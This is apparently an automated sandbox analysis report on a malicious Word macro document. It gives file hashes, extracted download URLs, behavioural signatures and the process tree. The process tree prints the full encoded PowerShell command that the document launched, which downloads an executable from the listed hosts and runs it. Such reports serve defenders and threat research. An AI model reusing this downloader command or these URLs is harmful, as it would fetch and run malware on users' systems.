Analysis
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max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
27/05/2024, 19:07
Static task
static1
Behavioral task
behavioral1
Sample
7a327006a49fa731461955d500e312dc_JaffaCakes118.doc
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
7a327006a49fa731461955d500e312dc_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
7a327006a49fa731461955d500e312dc_JaffaCakes118.doc
-
Size
244KB
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MD5
7a327006a49fa731461955d500e312dc
-
SHA1
331daffed89c0391683f12c91bdd35d4a4a45106
-
SHA256
788d5bb87879fca4fec80a7ab909d74baf2cb634036860e37ebdaa7f44b49674
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SHA512
8779b99fa388dd9ddb8c975cac29a7fe8a10829ea0a92c5ec5142f5e8216c53393970a6594d20cec570b46ecf6a9eab980d06b82bbb920508b7f494a52d31f22
-
SSDEEP
3072:iKmtgp237irS5/01rO9rN4iG/8jL/xSu90OoiLuDKZXfwKeljR1A:iKSo237ir4/2O9rN4d/KxUOmD+XfwL0
Malware Config
Extracted
http://iventurecard.co.uk/mqGwkGN
http://yduocvinhphuc.info/kblPYSdiX
http://zinimedia.dk/wCJyaYfn2
http://nightonline.ru/images/WF0wknLoVI
http://www.acs.vn/0SCQbnzLv
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2744 3428 PoWersheLL.exe 81 -
Blocklisted process makes network request 7 IoCs
flow pid Process 26 2744 PoWersheLL.exe 32 2744 PoWersheLL.exe 48 2744 PoWersheLL.exe 49 2744 PoWersheLL.exe 52 2744 PoWersheLL.exe 54 2744 PoWersheLL.exe 55 2744 PoWersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3428 WINWORD.EXE 3428 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2744 PoWersheLL.exe 2744 PoWersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2744 PoWersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3428 WINWORD.EXE 3428 WINWORD.EXE 3428 WINWORD.EXE 3428 WINWORD.EXE 3428 WINWORD.EXE 3428 WINWORD.EXE 3428 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3428 wrote to memory of 2744 3428 WINWORD.EXE 86 PID 3428 wrote to memory of 2744 3428 WINWORD.EXE 86
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a327006a49fa731461955d500e312dc_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exePoWersheLL -e JABNAFYAZABRAHMAbQA1AD0AKAAnAG4AJwArACcAZgBSAGwAbABmADgAJwArACcARAAnACkAOwAkAEwAawBBAFEAbAAxAGwAMAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABDAEQAdgBFAGsAdwBNAD0AKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AaQB2AGUAbgB0ACcAKwAnAHUAcgBlAGMAJwArACcAYQByAGQAJwArACcALgBjACcAKwAnAG8AJwArACcALgB1AGsAJwArACcALwAnACsAJwBtAHEARwAnACsAJwB3ACcAKwAnAGsARwBOAEAAaAB0AHQAcAA6AC8ALwB5AGQAdQBvAGMAJwArACcAdgBpAG4AaABwAGgAdQBjACcAKwAnAC4AaQBuACcAKwAnAGYAJwArACcAbwAvAGsAYgBsAFAAJwArACcAWQBTAGQAaQBYACcAKwAnAEAAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwAnACsAJwB6AGkAJwArACcAbgAnACsAJwBpACcAKwAnAG0AZQBkAGkAYQAuACcAKwAnAGQAJwArACcAawAnACsAJwAvAHcAQwBKAHkAYQAnACsAJwBZACcAKwAnAGYAbgAyAEAAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwBuAGkAZwBoAHQAbwBuACcAKwAnAGwAJwArACcAaQBuACcAKwAnAGUALgByAHUALwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwArACcARgAwAHcAawBuAEwAJwArACcAbwBWAEkAJwArACcAQAAnACsAJwBoAHQAdABwADoALwAvAHcAdwB3ACcAKwAnAC4AYQBjAHMALgAnACsAJwB2AG4ALwAwACcAKwAnAFMAQwBRACcAKwAnAGIAbgB6ACcAKwAnAEwAdgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABrAGoATwB2ADAAdgBuAG8APQAoACcAUgBUACcAKwAnAFQAcQB3ACcAKwAnAFoAdQBZACcAKQA7ACQAYwBiAFcANQB3AFoAIAA9ACAAKAAnADIAOQAnACsAJwA5ACcAKQA7ACQAQwByAHoATwBrAGoAagA3AD0AKAAnAHMARwAnACsAJwBpADUAQwBBAGsAJwApADsAJABkAFEAWAA4AGQAdwBBAEYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABjAGIAVwA1AHcAWgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ASAB0AFMAWQBvACAAaQBuACAAJABDAEQAdgBFAGsAdwBNACkAewB0AHIAeQB7ACQATABrAEEAUQBsADEAbAAwAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAE0ASAB0AFMAWQBvACwAIAAkAGQAUQBYADgAZAB3AEEARgApADsAJABEADgAQwA1AG8AYwBMAD0AKAAnAEsAdQAnACsAJwBqAHUAJwArACcASgBGAHAAMwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABkAFEAWAA4AGQAdwBBAEYAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAFEAWAA4AGQAdwBBAEYAOwAkAFUAUABIAHMANgBkAGQAPQAoACcAbwB0AFoASwA0ACcAKwAnAHoAaQB3ACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHcAWQA2AHIAdQBNAHoAPQAoACcAWQBPACcAKwAnAEsAbABEAEcAUAAnACsAJwA4ACcAKQA7AA==2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
61KB
MD579be83b97f742794ad5277db51090f8b
SHA1c184945c83c41ec5ea94900bb1d8901522d6478e
SHA25611a8c7126109fdde3f108e6a11ea224ee2c14f2f1650d4c17c3a46f8b7b607c6
SHA512e33c34acb0d2824b30c452f560db53ef27f13e1d12e8e5671374bde808797664dc8bf9afbddbbb57a55cda29dc5781b49068c10b169bfb945f97fca8397e7d01
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82